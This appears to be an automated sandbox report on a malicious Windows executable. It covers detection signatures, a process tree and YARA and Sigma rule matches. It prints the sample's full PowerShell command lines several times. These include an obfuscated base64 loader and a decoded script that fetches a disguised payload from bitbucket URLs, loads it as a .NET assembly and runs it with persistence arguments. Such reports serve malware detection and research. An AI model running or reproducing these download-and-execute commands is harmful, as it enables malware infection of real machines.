Edit tour

Windows Analysis Report
0XVZC3kfwL.exe

Overview

General Information

Sample name:	0XVZC3kfwL.exe renamed because original name is a hash value
Original sample name:	278a762f5ed598ccee88a977853a7e6011759220b1095461f1c3e756a1ec725c.exe
Analysis ID:	1524411
MD5:	af93d5a246b37ce552356e6b61c9aec9
SHA1:	e3f611e2601ff2bad622e2b1ccbdf8626f5cfd47
SHA256:	278a762f5ed598ccee88a977853a7e6011759220b1095461f1c3e756a1ec725c
Tags:	104-21-81-233exeuser-JAMESWT_MHT
Infos:

Detection

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Sigma detected: Powershell download and load assembly

Sigma detected: Powershell download payload from hardcoded c2 list

Yara detected Powershell download and execute

AI detected suspicious sample

Bypasses PowerShell execution policy

Found suspicious powershell code related to unpacking or dynamic code loading

Installs new ROOT certificates

Sigma detected: Base64 Encoded PowerShell Command Detected

Sigma detected: Potential PowerShell Obfuscation Via Reversed Commands

Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet

Suspicious powershell command line found

Binary contains a suspicious time stamp

Contains functionality to dynamically determine API calls

Contains functionality to shutdown / reboot the system

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found evasive API chain checking for process token information

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains executable resources (Code or Archives)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Suspicious PowerShell Invocations - Specific - ProcessCreation

Sigma detected: Usage Of Web Request Commands And Cmdlets

Stores large binary data to the registry

Suricata IDS alerts with low severity for network traffic

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Very long command line found

Yara signature match

Classification

Process Tree

System is w10x64

0XVZC3kfwL.exe (PID: 3832 cmdline: "C:\Users\user\Desktop\0XVZC3kfwL.exe" MD5: AF93D5A246B37CE552356E6B61C9AEC9)

cmd.exe (PID: 2328 cmdline: cmd /c gam.bat MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6220 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 4640 cmdline: powershell "$codigo = 'WwBO#GU#d##u#FM#ZQBy#HY#aQBj#GU#U#Bv#Gk#bgB0#E0#YQBu#GE#ZwBl#HI#XQ#6#Do#UwBl#GM#dQBy#Gk#d#B5#F##cgBv#HQ#bwBj#G8#b##g#D0#I#Bb#E4#ZQB0#C4#UwBl#GM#dQBy#Gk#d#B5#F##cgBv#HQ#bwBj#G8#b#BU#Hk#c#Bl#F0#Og#6#FQ#b#Bz#DE#Mg#N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgB1#G4#YwB0#Gk#bwBu#C##R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#RgBy#G8#bQBM#Gk#bgBr#HM#I#B7#C##c#Bh#HI#YQBt#C##K#Bb#HM#d#By#Gk#bgBn#Fs#XQBd#CQ#b#Bp#G4#awBz#Ck#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#B3#GU#YgBD#Gw#aQBl#G4#d##g#D0#I#BO#GU#dw#t#E8#YgBq#GU#YwB0#C##UwB5#HM#d#Bl#G0#LgBO#GU#d##u#Fc#ZQBi#EM#b#Bp#GU#bgB0#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#Bz#Gg#dQBm#GY#b#Bl#GQ#T#Bp#G4#awBz#C##PQ#g#Ec#ZQB0#C0#UgBh#G4#Z#Bv#G0#I##t#Ek#bgBw#HU#d#BP#GI#agBl#GM#d##g#CQ#b#Bp#G4#awBz#C##LQBD#G8#dQBu#HQ#I##k#Gw#aQBu#Gs#cw#u#Ew#ZQBu#Gc#d#Bo#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgBv#HI#ZQBh#GM#a##g#Cg#J#Bs#Gk#bgBr#C##aQBu#C##J#Bz#Gg#dQBm#GY#b#Bl#GQ#T#Bp#G4#awBz#Ck#I#B7#C##d#By#Hk#I#B7#C##cgBl#HQ#dQBy#G4#I##k#Hc#ZQBi#EM#b#Bp#GU#bgB0#C4#R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#K##k#Gw#aQBu#Gs#KQ#g#H0#I#Bj#GE#d#Bj#Gg#I#B7#C##YwBv#G4#d#Bp#G4#dQBl#C##fQ#g#H0#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I#By#GU#d#B1#HI#bg#g#CQ#bgB1#Gw#b##g#H0#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##k#Gw#aQBu#Gs#cw#g#D0#I#B##Cg#JwBo#HQ#d#Bw#HM#Og#v#C8#YgBp#HQ#YgB1#GM#awBl#HQ#LgBv#HI#Zw#v#Gg#ZwBk#GY#a#Bk#GY#ZwBk#C8#d#Bl#HM#d##v#GQ#bwB3#G4#b#Bv#GE#Z#Bz#C8#bgBl#Hc#XwBp#G0#YQBn#GU#Mg#u#Go#c#Bn#D8#MQ#0#DQ#Ng#x#Dc#Mg#x#Cc#L##g#Cc#a#B0#HQ#c#Bz#Do#Lw#v#GI#aQB0#GI#dQBj#Gs#ZQB0#C4#bwBy#Gc#LwBo#Gc#Z#Bm#Gg#Z#Bm#Gc#Z##v#HQ#ZQBz#HQ#LwBk#G8#dwBu#Gw#bwBh#GQ#cw#v#G4#ZQB3#F8#aQBt#GE#ZwBl#C4#agBw#Gc#Pw#x#DQ#N##0#DE#Nw#y#DM#Jw#p#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##J#Bp#G0#YQBn#GU#QgB5#HQ#ZQBz#C##PQ#g#EQ#bwB3#G4#b#Bv#GE#Z#BE#GE#d#Bh#EY#cgBv#G0#T#Bp#G4#awBz#C##J#Bs#Gk#bgBr#HM#Ow#N##o#I##g#C##I##g#C##I##g#C##I##g#C##I#Bp#GY#I##o#CQ#aQBt#GE#ZwBl#EI#eQB0#GU#cw#g#C0#bgBl#C##J#Bu#HU#b#Bs#Ck#I#B7#C##J#Bp#G0#YQBn#GU#V#Bl#Hg#d##g#D0#I#Bb#FM#eQBz#HQ#ZQBt#C4#V#Bl#Hg#d##u#EU#bgBj#G8#Z#Bp#G4#ZwBd#Do#OgBV#FQ#Rg#4#C4#RwBl#HQ#UwB0#HI#aQBu#Gc#K##k#Gk#bQBh#Gc#ZQBC#Hk#d#Bl#HM#KQ#7##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##g#CQ#cwB0#GE#cgB0#EY#b#Bh#Gc#I##9#C##Jw#8#Dw#QgBB#FM#RQ#2#DQ#XwBT#FQ#QQBS#FQ#Pg#+#Cc#Ow#g#CQ#ZQBu#GQ#RgBs#GE#Zw#g#D0#I##n#Dw#P#BC#EE#UwBF#DY#N#Bf#EU#TgBE#D4#Pg#n#Ds#I##k#HM#d#Bh#HI#d#BJ#G4#Z#Bl#Hg#I##9#C##J#Bp#G0#YQBn#GU#V#Bl#Hg#d##u#Ek#bgBk#GU#e#BP#GY#K##k#HM#d#Bh#HI#d#BG#Gw#YQBn#Ck#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##k#GU#bgBk#Ek#bgBk#GU#e##g#D0#I##k#Gk#bQBh#Gc#ZQBU#GU#e#B0#C4#SQBu#GQ#ZQB4#E8#Zg#o#CQ#ZQBu#GQ#RgBs#GE#Zw#p#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##aQBm#C##K##k#HM#d#Bh#HI#d#BJ#G4#Z#Bl#Hg#I##t#Gc#ZQ#g#D##I##t#GE#bgBk#C##J#Bl#G4#Z#BJ#G4#Z#Bl#Hg#I##t#Gc#d##g#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##p#C##ew#g#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##g#Cs#PQ#g#CQ#cwB0#GE#cgB0#EY#b#Bh#Gc#LgBM#GU#bgBn#HQ#a##7#C##DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#CQ#YgBh#HM#ZQ#2#DQ#T#Bl#G4#ZwB0#Gg#I##9#C##J#Bl#G4#Z#BJ#G4#Z#Bl#Hg#I##t#C##J#Bz#HQ#YQBy#HQ#SQBu#GQ#ZQB4#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##J#Bi#GE#cwBl#DY#N#BD#G8#bQBt#GE#bgBk#C##PQ#g#CQ#aQBt#GE#ZwBl#FQ#ZQB4#HQ#LgBT#HU#YgBz#HQ#cgBp#G4#Zw#o#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##s#C##J#Bi#GE#cwBl#DY#N#BM#GU#bgBn#HQ#a##p#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##J#Bj#G8#bQBt#GE#bgBk#EI#eQB0#GU#cw#g#D0#I#Bb#FM#eQBz#HQ#ZQBt#C4#QwBv#G4#dgBl#HI#d#Bd#Do#OgBG#HI#bwBt#EI#YQBz#GU#Ng#0#FM#d#By#Gk#bgBn#Cg#J#Bi#GE#cwBl#DY#N#BD#G8#bQBt#GE#bgBk#Ck#Ow#g#CQ#b#Bv#GE#Z#Bl#GQ#QQBz#HM#ZQBt#GI#b#B5#C##PQ#g#Fs#UwB5#HM#d#Bl#G0#LgBS#GU#ZgBs#GU#YwB0#Gk#bwBu#C4#QQBz#HM#ZQBt#GI#b#B5#F0#Og#6#Ew#bwBh#GQ#K##k#GM#bwBt#G0#YQBu#GQ#QgB5#HQ#ZQBz#Ck#Ow#g#CQ#d#B5#H##ZQ#g#D0#I##k#Gw#bwBh#GQ#ZQBk#EE#cwBz#GU#bQBi#Gw#eQ#u#Ec#ZQB0#FQ#eQBw#GU#K##n#HQ#ZQBz#HQ#c#Bv#Hc#ZQBy#HM#a#Bl#Gw#b##u#Eg#bwBt#GU#Jw#p#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#CQ#bQBl#HQ#a#Bv#GQ#I##9#C##J#B0#Hk#c#Bl#C4#RwBl#HQ#TQBl#HQ#a#Bv#GQ#K##n#Gw#YQ#n#Ck#LgBJ#G4#dgBv#Gs#ZQ#o#CQ#bgB1#Gw#b##s#C##WwBv#GI#agBl#GM#d#Bb#F0#XQ#g#Cg#JwB0#Hg#d##u#G8#cgBG#EE#bQBj#G8#LwBz#GQ#YQBv#Gw#bgB3#G8#Z##v#HI#ZwBm#GQ#LwB3#Gc#Z#Bz#C8#ZwBy#G8#LgB0#GU#awBj#HU#YgB0#Gk#Yg#v#C8#OgBz#H##d#B0#Gg#Jw#s#C##Jw#w#Cc#L##g#Cc#UwB0#GE#cgB0#HU#c#BO#GE#bQBl#Cc#L##g#Cc#UgBl#Gc#QQBz#G0#Jw#s#C##Jw#w#Cc#KQ#p#H0#fQ#=';$oWjuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string($codigo.replace('#','A')));powershell.exe -windowstyle hidden -executionpolicy bypass -Noprofile -command $OWjuxD" MD5: 04029E121A0CFA5991749937DD22A1D9)

powershell.exe (PID: 6592 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -Noprofile -command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $shuffledLinks = Get-Random -InputObject $links -Count $links.Length; foreach ($link in $shuffledLinks) { try { return $webClient.DownloadData($link) } catch { continue } }; return $null }; $links = @('https://bitbucket.org/hgdfhdfgd/test/downloads/new_image2.jpg?14461721', 'https://bitbucket.org/hgdfhdfgd/test/downloads/new_image.jpg?14441723'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('testpowershell.Home'); $method = $type.GetMethod('la').Invoke($null, [object[]] ('txt.orFAmco/sdaolnwod/rgfd/wgds/gro.tekcubtib//:sptth', '0', 'StartupName', 'RegAsm', '0'))}}" MD5: 04029E121A0CFA5991749937DD22A1D9)

rundll32.exe (PID: 3064 cmdline: "C:\Windows\system32\rundll32.exe" C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\user\AppData\Local\Temp\IXP000.TMP\" MD5: EF3179D498793BF4234F708D3BE28633)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: powershell.exe PID: 4640	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: powershell.exe PID: 4640	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x14cd0f:$b2: ::FromBase64String( 0x17a38a:$b2: ::FromBase64String( 0x14cb20:$b3: ::UTF8.GetString( 0x17a19e:$b3: ::UTF8.GetString( 0xa261a:$s1: -join 0x1662f0:$s1: -join 0x4283b:$s3: reverse 0x4b146:$s3: reverse 0x733ae:$s3: reverse 0x7a003:$s3: reverse 0x7bfea:$s3: reverse 0x87019:$s3: reverse 0xce87d:$s3: reverse 0xda0bb:$s3: reverse 0xe8dbf:$s3: reverse 0xe90ad:$s3: reverse 0xe97c7:$s3: reverse 0xe9f80:$s3: reverse 0xf106b:$s3: reverse 0xf1485:$s3: reverse 0xf200d:$s3: reverse
Process Memory Space: powershell.exe PID: 6592	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: powershell.exe PID: 6592	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x33c3:$b2: ::FromBase64String( 0x77cc8:$b2: ::FromBase64String( 0xa3e34:$b2: ::FromBase64String( 0xc38ac:$b2: ::FromBase64String( 0xc42f1:$b2: ::FromBase64String( 0xd6772:$b2: ::FromBase64String( 0xfd28c:$b2: ::FromBase64String( 0x1b046b:$b2: ::FromBase64String( 0x24b527:$b2: ::FromBase64String( 0x31d4:$b3: ::UTF8.GetString( 0x77ad9:$b3: ::UTF8.GetString( 0xa3c45:$b3: ::UTF8.GetString( 0xc36bd:$b3: ::UTF8.GetString( 0xc4102:$b3: ::UTF8.GetString( 0xd6583:$b3: ::UTF8.GetString( 0xfd09d:$b3: ::UTF8.GetString( 0x1b027c:$b3: ::UTF8.GetString( 0x24b338:$b3: ::UTF8.GetString( 0x17b36:$s1: -join 0x24c0b:$s1: -join 0x27fdd:$s1: -join

Other

Source	Rule	Description	Author	Strings
amsi64_6592.amsi.csv	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security

Sigma Signatures

Spreading

Sigma detected: Powershell download payload from hardcoded c2 list

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -Noprofile -command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $shuffledLinks = Get-Random -InputObject $links -Count $links.Length; foreach ($link in $shuffledLinks) { try { return $webClient.DownloadData($link) } catch { continue } }; return $null }; $links = @('https://bitbucket.org/hgdfhdfgd/test/downloads/new_image2.jpg?14461721', 'https://bitbucket.org/hgdfhdfgd/test/downloads/new_image.jpg?14441723'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('testpowershell.Home'); $method = $type.GetMethod('la').Invoke($null, [object[]] ('txt.orFAmco/sdaolnwod/rgfd/wgds/gro.tekcubtib//:sptth', '0', 'StartupName', 'RegAsm', '0'))}}", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -Noprofile -command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $shuffledLinks = Get-Random -InputObject $links -Count $links.Length; foreach ($link in $shuffledLinks) { try { return $webClient.DownloadData($link) } catch { continue } }; return $null }; $links = @('https://bitbucket.org/hgdfhdfgd/test/downloads/new_image2.jpg?14461721', 'https://bitbucket.org/hgdfhdfgd/test/downloads/new_image.jpg?14441723'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes

System Summary

Sigma detected: Base64 Encoded PowerShell Command Detected

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: powershell "$codigo = 'WwBO#GU#d##u#FM#ZQBy#HY#aQBj#GU#U#Bv#Gk#bgB0#E0#YQBu#GE#ZwBl#HI#XQ#6#Do#UwBl#GM#dQBy#Gk#d#B5#F##cgBv#HQ#bwBj#G8#b##g#D0#I#Bb#E4#ZQB0#C4#UwBl#GM#dQBy#Gk#d#B5#F##cgBv#HQ#bwBj#G8#b#BU#Hk#c#Bl#F0#Og#6#FQ#b#Bz#DE#Mg#N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgB1#G4#YwB0#Gk#bwBu#C##R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#RgBy#G8#bQBM#Gk#bgBr#HM#I#B7#C##c#Bh#HI#YQBt#C##K#Bb#HM#d#By#Gk#bgBn#Fs#XQBd#CQ#b#Bp#G4#awBz#Ck#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#B3#GU#YgBD#Gw#aQBl#G4#d##g#D0#I#BO#GU#dw#t#E8#YgBq#GU#YwB0#C##UwB5#HM#d#Bl#G0#LgBO#GU#d##u#Fc#ZQBi#EM#b#Bp#GU#bgB0#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#Bz#Gg#dQBm#GY#b#Bl#GQ#T#Bp#G4#awBz#C##PQ#g#Ec#ZQB0#C0#UgBh#G4#Z#Bv#G0#I##t#Ek#bgBw#HU#d#BP#GI#agBl#GM#d##g#CQ#b#Bp#G4#awBz#C##LQBD#G8#dQBu#HQ#I##k#Gw#aQBu#Gs#cw#u#Ew#ZQBu#Gc#d#Bo#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgBv#HI#ZQBh#GM#a##g#Cg#J#Bs#Gk#bgBr#C##aQBu#C##J#Bz#Gg#dQBm#GY#b#Bl#GQ#T#Bp#G4#awBz#Ck#I#B7#C##d#By#Hk#I#B7#C##cgBl#HQ#dQBy#G4#I##k#Hc#ZQBi#EM#b#Bp#GU#bgB0#C4#R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#K##k#Gw#aQBu#Gs#KQ#g#H0#I#Bj#GE#d#Bj#Gg#I#B7#C##YwBv#G4#d#Bp#G4#dQBl#C##fQ#g#H0#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I#By#GU#d#B1#HI#bg#g#CQ#bgB1#Gw#b##g#H0#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##k#Gw#aQBu#Gs#cw#g#D0#I#B##Cg#JwBo#HQ#d#Bw#HM#Og#v#C8#YgBp#HQ#YgB1#GM#awBl#HQ#LgBv#HI#Zw#v#Gg#ZwBk#GY#a#Bk#GY#ZwBk#C8#d#Bl#HM#d##v#GQ#bwB3#G4#b#Bv#GE#Z#Bz#C8#bgBl#Hc#XwBp#G0#YQBn#GU#Mg#u#Go#c#Bn#D8#MQ#0#DQ#Ng#x#Dc#Mg#x#Cc#L##g#Cc#a#B0#HQ#c#Bz#Do#Lw#v#GI#aQB0#GI#dQBj#Gs#ZQB0#C4#bwBy#Gc#LwBo#Gc#Z#Bm#Gg#Z#Bm#Gc#Z##v#HQ#ZQBz#HQ#LwBk#G8#dwBu#Gw#bwBh#GQ#cw#v#G4#ZQB3#F8#aQBt#GE#ZwBl#C4#agBw#Gc#Pw#x#DQ#N##0#DE#Nw#y#DM#Jw#p#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##J#Bp#G0#YQBn#GU#QgB5#HQ#ZQBz#C##PQ#g#EQ#bwB3#G4#b#Bv#GE#Z#BE#GE#d#Bh#EY#cgBv#G0#T#Bp#G4#awBz#C##J#Bs#Gk#bgBr#HM#Ow#N##o#I##g#C##I##g#C##I##g#C##I##g#C##I#Bp#GY#I##o#CQ#aQBt#GE#ZwBl#EI#eQB0#GU#cw#g#C0#bgBl#C##J#Bu#HU#b#Bs#Ck#I#B7#C##J#Bp#G0#YQBn#GU#V#Bl#Hg#d##g#D0#I#Bb#FM#eQBz#HQ#ZQBt#C4#V#Bl#Hg#d##u#EU#bgBj#G8#Z#Bp#G4#ZwBd#Do#OgBV#FQ#Rg#4#C4#RwBl#HQ#UwB0#HI#aQBu#Gc#K##k#Gk#bQBh#Gc#ZQBC#Hk#d#Bl#HM#KQ#7##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##g#CQ#cwB0#GE#cgB0#EY#b#Bh#Gc#I##9#C##Jw#8#Dw#QgBB#FM#RQ#2#DQ#XwBT#FQ#QQBS#FQ#Pg#+#Cc#Ow#g#CQ#ZQBu#GQ#RgBs#GE#Zw#g#D0#I##n#Dw#P#BC#EE#UwBF#DY#N#Bf#EU#TgBE#D4#Pg#n#Ds#I##k#HM#d#Bh#HI#d#BJ#G4#Z#Bl#Hg#I##9#C##J#Bp#G0#YQBn#GU#V#Bl#Hg#d##u#Ek#bgBk#GU#e#BP#GY#K##k#HM#d#Bh#HI#d#BG#Gw#YQBn#Ck#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##k#GU#bgBk#Ek#bgBk#GU#e##g#D0#I##k#Gk#bQBh#Gc#ZQBU#GU#e#B0#C4#SQBu#GQ#ZQB4#E8#Zg#o#CQ#ZQBu#GQ#RgBs#GE#Zw#p#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##aQBm#C##K##k#HM#d#Bh#HI#d#BJ#G4#Z#Bl#Hg#I##t#Gc#ZQ#g#D##I##t#GE#bgBk#C##J#Bl#G4#Z#BJ#G4#Z#Bl#Hg#I##t#Gc#d##g#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##p#C##ew#g#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##g#Cs#PQ#g#CQ#cwB0#GE#cgB0#EY#b#Bh#Gc#LgBM#GU#bgBn#HQ#a##7#C##DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#CQ#YgBh#HM#ZQ#2#DQ#T#Bl#G4#ZwB0#Gg#I##9#C##J#Bl#G4#Z#BJ#G4#Z#Bl#Hg#I##t#C##J#Bz#HQ#YQ

Sigma detected: Potential PowerShell Obfuscation Via Reversed Commands

Source: Process started

Author: Teymur Kheirkhabarov (idea), Vasiliy Burov (rule), oscd.community, Tim Shelton: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -Noprofile -command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $shuffledLinks = Get-Random -InputObject $links -Count $links.Length; foreach ($link in $shuffledLinks) { try { return $webClient.DownloadData($link) } catch { continue } }; return $null }; $links = @('https://bitbucket.org/hgdfhdfgd/test/downloads/new_image2.jpg?14461721', 'https://bitbucket.org/hgdfhdfgd/test/downloads/new_image.jpg?14441723'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('testpowershell.Home'); $method = $type.GetMethod('la').Invoke($null, [object[]] ('txt.orFAmco/sdaolnwod/rgfd/wgds/gro.tekcubtib//:sptth', '0', 'StartupName', 'RegAsm', '0'))}}", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -Noprofile -command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $shuffledLinks = Get-Random -InputObject $links -Count $links.Length; foreach ($link in $shuffledLinks) { try { return $webClient.DownloadData($link) } catch { continue } }; return $null }; $links = @('https://bitbucket.org/hgdfhdfgd/test/downloads/new_image2.jpg?14461721', 'https://bitbucket.org/hgdfhdfgd/test/downloads/new_image.jpg?14441723'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes

Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet

Source: Process started

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: powershell "$codigo = 'WwBO#GU#d##u#FM#ZQBy#HY#aQBj#GU#U#Bv#Gk#bgB0#E0#YQBu#GE#ZwBl#HI#XQ#6#Do#UwBl#GM#dQBy#Gk#d#B5#F##cgBv#HQ#bwBj#G8#b##g#D0#I#Bb#E4#ZQB0#C4#UwBl#GM#dQBy#Gk#d#B5#F##cgBv#HQ#bwBj#G8#b#BU#Hk#c#Bl#F0#Og#6#FQ#b#Bz#DE#Mg#N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgB1#G4#YwB0#Gk#bwBu#C##R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#RgBy#G8#bQBM#Gk#bgBr#HM#I#B7#C##c#Bh#HI#YQBt#C##K#Bb#HM#d#By#Gk#bgBn#Fs#XQBd#CQ#b#Bp#G4#awBz#Ck#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#B3#GU#YgBD#Gw#aQBl#G4#d##g#D0#I#BO#GU#dw#t#E8#YgBq#GU#YwB0#C##UwB5#HM#d#Bl#G0#LgBO#GU#d##u#Fc#ZQBi#EM#b#Bp#GU#bgB0#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#Bz#Gg#dQBm#GY#b#Bl#GQ#T#Bp#G4#awBz#C##PQ#g#Ec#ZQB0#C0#UgBh#G4#Z#Bv#G0#I##t#Ek#bgBw#HU#d#BP#GI#agBl#GM#d##g#CQ#b#Bp#G4#awBz#C##LQBD#G8#dQBu#HQ#I##k#Gw#aQBu#Gs#cw#u#Ew#ZQBu#Gc#d#Bo#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgBv#HI#ZQBh#GM#a##g#Cg#J#Bs#Gk#bgBr#C##aQBu#C##J#Bz#Gg#dQBm#GY#b#Bl#GQ#T#Bp#G4#awBz#Ck#I#B7#C##d#By#Hk#I#B7#C##cgBl#HQ#dQBy#G4#I##k#Hc#ZQ